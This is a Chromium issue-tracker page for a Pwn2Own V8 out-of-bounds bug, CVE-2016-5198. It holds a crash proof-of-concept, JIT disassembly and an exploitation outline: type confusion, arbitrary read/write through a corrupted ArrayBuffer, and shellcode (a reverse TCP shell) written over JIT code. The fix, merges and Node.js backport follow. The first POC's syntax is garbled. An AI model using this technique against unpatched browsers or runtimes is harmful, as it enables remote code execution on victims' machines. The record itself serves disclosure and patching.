New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Pwn2Own: V8 OOB Bug.

Project Member Reported by infe...@chromium.org, Oct 26 2016

Issue description

POC

function Ctor() {
n == new Set();
}

function Check() {
n.xyz == 0x826852f4;
parseInt('AAAAAAAA');
}

for(var i==0; i<<2000; ++++i) {
Ctor();
}


for(var i==0; i<<2000; ++++i) {
Check();
}

Ctor();
Check();
print("finish");

----Stack
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

[-------------------------------------code-------------------------------------]

0x736e0a <_ZN2v88internal6String14GetFlatContentEv+106>: test ecx,ecx

0x736e0c <_ZN2v88internal6String14GetFlatContentEv+108>:

je 0x736e1a <_ZN2v88internal6String14GetFlatContentEv+122>

0x736e0e <_ZN2v88internal6String14GetFlatContentEv+110>:

mov rdi,QWORD PTR [rdi]

=> 0x736e11 <_ZN2v88internal6String14GetFlatContentEv+113>:

mov rax,QWORD PTR [rdi]

0x736e14 <_ZN2v88internal6String14GetFlatContentEv+116>:

call QWORD PTR [rax+0x20]

0x736e17 <_ZN2v88internal6String14GetFlatContentEv+119>: mov rdi,rax

0x736e1a <_ZN2v88internal6String14GetFlatContentEv+122>: lea rax,[rdi+rbx*2]

0x736e1e <_ZN2v88internal6String14GetFlatContentEv+126>: movabs rcx,0x200000000

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x0000000000736e11 in v8::internal::String::GetFlatContent() ()

gdb-peda$ print $rdi

$1 = 0x4141414141414141

First Step

Notice that poc.js:5+109 get the address(0x3fd3734c7d89) of PROPERTY_CELL_TYPE , which stores

global variable n . After that, the return of Set Constructor will be writen to n .

In the second loop, Check() will be optimized as this JIT code

<LazyCompile:*Ctor poc.js:5+0>: push rbp

<LazyCompile:*Ctor poc.js:5+1>: mov rbp,rsp

<LazyCompile:*Ctor poc.js:5+4>: push rsi

<LazyCompile:*Ctor poc.js:5+5>: push rdi

<LazyCompile:*Ctor poc.js:5+6>: sub rsp,0x8

<LazyCompile:*Ctor poc.js:5+10>: mov rax,QWORD PTR [rbp-0x8]

<LazyCompile:*Ctor poc.js:5+14>: mov QWORD PTR [rbp-0x18],rax

<LazyCompile:*Ctor poc.js:5+18>: mov rsi,rax

<LazyCompile:*Ctor poc.js:5+21>: cmp rsp,QWORD PTR [r13+0xb78]

<LazyCompile:*Ctor poc.js:5+28>: jae 0x1e16ccf79ca3 <LazyCompile:*Ctor poc.js:5+35>

<LazyCompile:*Ctor poc.js:5+30>: call 0x1e16ccf4ade0 <Builtin:StackCheck>

<LazyCompile:*Ctor poc.js:5+35>: movabs r10,0x3fd3734b1511

<LazyCompile:*Ctor poc.js:5+45>: push r10

<LazyCompile:*Ctor poc.js:5+47>: movabs rdx,0x3fd3734b1511

<LazyCompile:*Ctor poc.js:5+57>: movabs rdx,0x3fd3734b1511

<LazyCompile:*Ctor poc.js:5+67>: xor eax,eax

<LazyCompile:*Ctor poc.js:5+69>: mov rsi,QWORD PTR [rbp-0x18]

<LazyCompile:*Ctor poc.js:5+73>: mov rdi,rdx

<LazyCompile:*Ctor poc.js:5+76>: call 0x1e16ccf3a040 <Builtin:Construct>

<LazyCompile:*Ctor poc.js:5+81>: test al,0x1

<LazyCompile:*Ctor poc.js:5+83>: je 0x1e16ccf79d31 <LazyCompile:*Ctor poc.js:5+177>

<LazyCompile:*Ctor poc.js:5+89>: movabs r10,0x387980f08e51

<LazyCompile:*Ctor poc.js:5+99>: cmp QWORD PTR [rax-0x1],r10

<LazyCompile:*Ctor poc.js:5+103>: jne 0x1e16ccf79d36 <LazyCompile:*Ctor poc.js:5+182>

<LazyCompile:*Ctor poc.js:5+109>: movabs rbx,0x3fd3734c7d89

<LazyCompile:*Ctor poc.js:5+119>: mov QWORD PTR [rbx+0xf],rax

<LazyCompile:*Ctor poc.js:5+123>: lea rdx,[rbx+0xf]

<LazyCompile:*Ctor poc.js:5+127>: and rax,0xfffffffffff00000

<LazyCompile:*Ctor poc.js:5+133>: test BYTE PTR [rax+0x8],0x2

<LazyCompile:*Ctor poc.js:5+137>: je 0x1e16ccf79d20 <LazyCompile:*Ctor poc.js:5+160>

<LazyCompile:*Ctor poc.js:5+139>: mov rax,0xfffffffffff00000

<LazyCompile:*Ctor poc.js:5+146>: and rax,rbx

<LazyCompile:*Ctor poc.js:5+149>: test BYTE PTR [rax+0x8],0x4

<LazyCompile:*Ctor poc.js:5+153>: je 0x1e16ccf79d20 <LazyCompile:*Ctor poc.js:5+160>

<LazyCompile:*Ctor poc.js:5+155>: call 0x1e16ccf79380 <Stub:RecordWriteStub>

<LazyCompile:*Ctor poc.js:5+160>: movabs rax,0x3fd373404311

<LazyCompile:*Ctor poc.js:5+170>: mov rsp,rbp

<LazyCompile:*Ctor poc.js:5+173>: pop rbp

<LazyCompile:*Ctor poc.js:5+174>: ret 0x8

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

Second Step

Start at +35 and +45 , it gets the global variable n , and on +64 , it gets the property cell(pointer to

a FixedArray) of n . On +68 , it gets n's first property, and on +72 the number 0x826852f4 will be

writen to it.

In addition, v8 use map to identify objects, which is located on the first field of the object. A new Set's

map is different from a Set with some properties. In general, the optimized JIT code always check the map

of the target objects, and will deoptimize if the map has been changed.

So the problem is that it doesn't check the map of variable n in this optimized JIT code.

<LazyCompile:*Check poc.js:1+0>: push rbp

<LazyCompile:*Check poc.js:1+1>: mov rbp,rsp

<LazyCompile:*Check poc.js:1+4>: push rsi

<LazyCompile:*Check poc.js:1+5>: push rdi

<LazyCompile:*Check poc.js:1+6>: sub rsp,0x8

<LazyCompile:*Check poc.js:1+10>: mov rax,QWORD PTR [rbp-0x8]

<LazyCompile:*Check poc.js:1+14>: mov QWORD PTR [rbp-0x18],rax

<LazyCompile:*Check poc.js:1+18>: mov rsi,rax

<LazyCompile:*Check poc.js:1+21>: cmp rsp,QWORD PTR [r13+0xb78]

<LazyCompile:*Check poc.js:1+28>: jae 0x1e16ccf7a603 <LazyCompile:*Check poc.js:1+35>

<LazyCompile:*Check poc.js:1+30>: call 0x1e16ccf4ade0 <Builtin:StackCheck>

<LazyCompile:*Check poc.js:1+35>: movabs rax,0x3fd3734c7d89

<LazyCompile:*Check poc.js:1+45>: mov rax,QWORD PTR [rax+0xf]

<LazyCompile:*Check poc.js:1+49>: movabs r10,0x41e04d0a5e800000

<LazyCompile:*Check poc.js:1+59>: vmovq xmm0,r10

<LazyCompile:*Check poc.js:1+64>: mov rax,QWORD PTR [rax+0x7]

<LazyCompile:*Check poc.js:1+68>: mov rax,QWORD PTR [rax+0xf]

<LazyCompile:*Check poc.js:1+72>: vmovsd QWORD PTR [rax+0x7],xmm0

<LazyCompile:*Check poc.js:1+77>: movabs r10,0x3fd373404311

<LazyCompile:*Check poc.js:1+87>: push r10

<LazyCompile:*Check poc.js:1+89>: movabs r10,0x3fd3734c7129

<LazyCompile:*Check poc.js:1+99>: push r10

<LazyCompile:*Check poc.js:1+101>: movabs rdi,0x3fd3734b4041

<LazyCompile:*Check poc.js:1+111>: mov rsi,QWORD PTR [rbp-0x18]

<LazyCompile:*Check poc.js:1+115>: mov rsi,QWORD PTR [rdi+0x27]

<LazyCompile:*Check poc.js:1+119>: mov rdx,QWORD PTR [r13-0x60]

<LazyCompile:*Check poc.js:1+123>: mov eax,0x1

<LazyCompile:*Check poc.js:1+128>: mov ebx,0x2

<LazyCompile:*Check poc.js:1+133>: call 0x1e16ccf07d80 <Builtin:ArgumentsAdaptorTrampoline>

<LazyCompile:*Check poc.js:1+138>: movabs rax,0x3fd373404311

<LazyCompile:*Check poc.js:1+148>: mov rsp,rbp

<LazyCompile:*Check poc.js:1+151>: pop rbp

<LazyCompile:*Check poc.js:1+152>: ret 0x8

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

Third Step

After that we call Ctor() once, variable n will be set to the new Set , which has no properties. In

another word, it will point to the Empty FixedArray, which init at beginning of v8's process.

In addition, if we won't optimize Ctor() , the Check() function will be deoptimized when global

variable n is changed.

At last we call Check() , the number of 0x826852f4 will be writen to the first element of the Empty

FixedArray, OOB happens!

This bug can trigger by Set , Map , Uint8Array , Uint16Array , etc.

For our poc, v8 confuse the null string's map to a heap number, and write the double number 0x826852f4

to it, which cause the OneByteString string to be a External String type. So the data of the string is treated

as a pointer.

So far we have the oob r/w on the Empty FixedArray. As I mentioned, Empty FixedArray will be init at the

beginning of process. After this is the null String Object, so we can overwritten the null's length for

infoleak.

Besides, I use ab = new ArrayBuffer(0x4000); ...; {m.e = ab;} to set the address of

ArrayBuffer's pointer on the String's content, so I can get the pointer's address.

We can do three things via this OOB bug.

1. write a small int.

2. write a heap number.

3. write an Object's pointer

The small int in memory is the value * 2, for v8 use the LSB to identify if it is a pointer or number.

For a heap number, it stores a pointer which point to a double number and in my POC, it is an example of

the heap number write. So we can put an Object's pointer and use heap number write to overwrite the

structure of this object.

We use this strategy to modify the ArrayBuffer's length and Buffer pointer, then we can do Arbitrary

read/write.

Finally we read a function's JIT pointer, write shellcode on it and call it.

The shellcode for Chrome is to call IPC, and for docs is reverse tcp shell.
 
Project Member

Comment 1 by ClusterFuzz, Oct 26 2016

Labels: Stability-Memory-AddressSanitizer
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=5827486287134720

Job Type: linux_asan_d8
Platform Id: linux

Crash Type: UNKNOWN READ
Crash Address: 0x000000000000
Crash State:
  v8::internal::ExternalTwoByteString::GetChars
  v8::internal::String::GetFlatContent
  __RT_impl_Runtime_StringParseInt
  

Unminimized Testcase: https://cluster-fuzz.appspot.com/download/AMIfv96DT3buXya8qgz6d_CS59eqdiFNzg_fAR0e3x2qehmsg-sjjg6FZkIIL9JhJ4RgUV-dCXM9YOUxtsvqnXIWoIc2bS4W124rzUI8mIuvier8jcFxAC8XBMshAyrRfqduLyXbI2qGGtzN5KnFTMIGR8dXZuec9g?testcase_id=5827486287134720


See https://dev.chromium.org/Home/chromium-security/bugs/reproducing-clusterfuzz-bugs for more information.

Comment 2 by aarya@google.com, Oct 26 2016

Cc: nnk@google.com
Labels: Security_Severity-High
Get correct Poc from c#1 testcase.
Cc: bmeu...@chromium.org
Cc: yangguo@chromium.org
Project Member

Comment 5 by ClusterFuzz, Oct 26 2016

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=5827486287134720

Job Type: linux_asan_d8
Platform Id: linux

Crash Type: UNKNOWN READ
Crash Address: 0x000000000000
Crash State:
  v8::internal::ExternalTwoByteString::GetChars
  v8::internal::String::GetFlatContent
  __RT_impl_Runtime_StringParseInt
  

Minimized Testcase (0.20 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv94GYK26TWIOssBTU2ToM3LRkwKDCB93XGZ6wCSZNFgc9O087XhdqEKzG7cfNQzwle1ysM9NkNTJK5JpEnppJ3NF03YZLUS2rNfwxpH2KbzUW7QCCBKlxzikTnOpwyZ4bITYV6nHSIppsO87KSZp0On_VWweOA?testcase_id=5827486287134720
function Ctor() {
  n = new Set();
}
function Check() {
  n.xyz = 0x826852f4;
  parseInt();
}
for(var i=0; i<2000; ++i) {
  Ctor();
}
for(var i=0; i<2000; ++i) {
  Check();
}
Ctor();
Check();


See https://dev.chromium.org/Home/chromium-security/bugs/reproducing-clusterfuzz-bugs for more information.
Cc: -bmeu...@chromium.org hablich@chromium.org
Owner: bmeu...@chromium.org
Status: Started (was: Assigned)
Project Member

Comment 7 by bugdroid1@chromium.org, Oct 26 2016

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/d0a047d440ea6283f9e63056cf5ec1fa3203e309

commit d0a047d440ea6283f9e63056cf5ec1fa3203e309
Author: bmeurer <bmeurer@chromium.org>
Date: Wed Oct 26 11:11:20 2016

Revert of [compiler] Properly validate stable map assumption for globals. (patchset #3 id:40001 of https://codereview.chromium.org/2444233004/ )

Reason for revert:
Breaks tree: http://build.chromium.org/p/client.v8/builders/V8%20Linux64%20GC%20Stress%20-%20custom%20snapshot/builds/8789

Original issue's description:
> [compiler] Properly validate stable map assumption for globals.
>
> For global object property cells, we did not check that the map on the
> previous object is still the same for which we actually optimized. So
> the optimized code was not in sync with the actual state of the property
> cell. When loading from such a global object property cell, Crankshaft
> optimizes away any map checks (based on the stable map assumption),
> leading to arbitrary memory access in the worst case.
>
> TurboFan has the same bug for stores, but is safe on loads because we
> do appropriate map checks there. However mixing TurboFan and Crankshaft
> still exposes the bug.
>
> R=yangguo@chromium.org
> BUG= chromium:659475 

TBR=yangguo@chromium.org
# Skipping CQ checks because original CL landed less than 1 days ago.
NOPRESUBMIT=true
NOTREECHECKS=true
NOTRY=true
BUG= chromium:659475 

Review-Url: https://codereview.chromium.org/2454513003
Cr-Commit-Position: refs/heads/master@{#40582}

[modify] https://crrev.com/d0a047d440ea6283f9e63056cf5ec1fa3203e309/src/compiler/js-global-object-specialization.cc
[modify] https://crrev.com/d0a047d440ea6283f9e63056cf5ec1fa3203e309/src/crankshaft/hydrogen-instructions.h
[modify] https://crrev.com/d0a047d440ea6283f9e63056cf5ec1fa3203e309/src/crankshaft/hydrogen.cc
[modify] https://crrev.com/d0a047d440ea6283f9e63056cf5ec1fa3203e309/src/runtime/runtime-utils.h
[delete] https://crrev.com/a16701598c029320bc0b3f60727a5fc148e0b064/test/mjsunit/regress/regress-crbug-659475-1.js
[delete] https://crrev.com/a16701598c029320bc0b3f60727a5fc148e0b064/test/mjsunit/regress/regress-crbug-659475-2.js

Project Member

Comment 8 by sheriffbot@chromium.org, Oct 26 2016

Labels: -Pri-0 Pri-1
Project Member

Comment 9 by bugdroid1@chromium.org, Oct 26 2016

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6

commit 2bd7464ec1efc9eb24a38f7400119a5f2257f6e6
Author: bmeurer <bmeurer@chromium.org>
Date: Wed Oct 26 13:43:45 2016

[compiler] Properly validate stable map assumption for globals.

For global object property cells, we did not check that the map on the
previous object is still the same for which we actually optimized. So
the optimized code was not in sync with the actual state of the property
cell. When loading from such a global object property cell, Crankshaft
optimizes away any map checks (based on the stable map assumption),
leading to arbitrary memory access in the worst case.

TurboFan has the same bug for stores, but is safe on loads because we
do appropriate map checks there. However mixing TurboFan and Crankshaft
still exposes the bug.

R=yangguo@chromium.org
BUG= chromium:659475 

Review-Url: https://codereview.chromium.org/2444233004
Cr-Commit-Position: refs/heads/master@{#40592}

[modify] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/src/bailout-reason.h
[modify] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/src/compiler/js-global-object-specialization.cc
[modify] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/src/crankshaft/hydrogen.cc
[modify] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/src/runtime/runtime-utils.h
[add] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/test/mjsunit/regress/regress-crbug-659475-1.js
[add] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/test/mjsunit/regress/regress-crbug-659475-2.js

Cc: olorin@google.com

Comment 11 by aarya@google.com, Oct 26 2016

Cc: amineer@chromium.org kerz@chromium.org
Labels: Merge-Request-54 Merge-Request-55
Status: Fixed (was: Started)

Comment 12 by aarya@google.com, Oct 26 2016

Labels: Security_Impact-Stable
Cc: awhalley@chromium.org
+ awhalley@ for M55 Merge review
Labels: OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows

Comment 15 by dimu@chromium.org, Oct 26 2016

Labels: -Merge-Request-54 Merge-Review-54 Hotlist-Merge-Review
[Automated comment] Request affecting a post-stable build (M54), manual review required.

Comment 16 by dimu@chromium.org, Oct 26 2016

Labels: -Merge-Request-55 Merge-Approved-55 Hotlist-Merge-Approved
Your change meets the bar and is auto-approved for M55 (branch: 2883)
Cc: quanto@google.com

Comment 18 by dimu@chromium.org, Oct 26 2016

Labels: -Merge-Request-54 Merge-Review-54 Hotlist-Merge-Review
[Automated comment] Request affecting a post-stable build (M54), manual review required.
Cc: bustamante@chromium.org anan...@chromium.org
+ bustamante@ (M54 Release owner)
Labels: -Merge-Review-54 Merge-Approved-54
Approved for merge into M54
Cc: shaileshs@google.com
Cc: ligim...@chromium.org
+ligimole
Labels: -Merge-Approved-54 -Merge-Approved-55
Project Member

Comment 26 by ClusterFuzz, Oct 27 2016

ClusterFuzz has detected this issue as fixed in range 40591:40592.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=5827486287134720

Job Type: linux_asan_d8
Platform Id: linux

Crash Type: UNKNOWN READ
Crash Address: 0x000000000000
Crash State:
  v8::internal::ExternalTwoByteString::GetChars
  v8::internal::String::GetFlatContent
  __RT_impl_Runtime_StringParseInt
  
Fixed: V8: r40591:40592

Minimized Testcase (0.20 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv94GYK26TWIOssBTU2ToM3LRkwKDCB93XGZ6wCSZNFgc9O087XhdqEKzG7cfNQzwle1ysM9NkNTJK5JpEnppJ3NF03YZLUS2rNfwxpH2KbzUW7QCCBKlxzikTnOpwyZ4bITYV6nHSIppsO87KSZp0On_VWweOA?testcase_id=5827486287134720
function Ctor() {
  n = new Set();
}
function Check() {
  n.xyz = 0x826852f4;
  parseInt();
}
for(var i=0; i<2000; ++i) {
  Ctor();
}
for(var i=0; i<2000; ++i) {
  Check();
}
Ctor();
Check();


See https://dev.chromium.org/Home/chromium-security/bugs/reproducing-clusterfuzz-bugs for more information.

If you suspect that the result above is incorrect, try re-doing that job on the test case report page.
Project Member

Comment 27 by sheriffbot@chromium.org, Oct 27 2016

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: Release-2-M54
Labels: NodeJS-Backport-Approved
Also needs backport for Node.js v4 and v6 LTS branches which we will handle in the Node.js repo.
Is a CVE going to be issued for this?
Labels: CVE-2016-5198
Yes, it made it on the release notes but not here, apologies.  This is CVE-2016-5198
Cc: ofrobots@google.com
bmeurer@: do you think this bug would be applicable to V8 3.28.79.19 (Node.js 0.12) as well? I cannot make the failure reproduce with that version of V8, but it would be good to know if it is theoretically possible.
V8 3.28 doesn't have the map tracking feature for global properties, so not affected by ths bug.
Project Member

Comment 34 by sheriffbot@chromium.org, Feb 2 2017

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: CVE_description-submitted
Labels: -NodeJS-Backport-Approved NodeJS-Backport-Done
This was landed on Node in https://github.com/nodejs/node/pull/10169.

Sign in to add a comment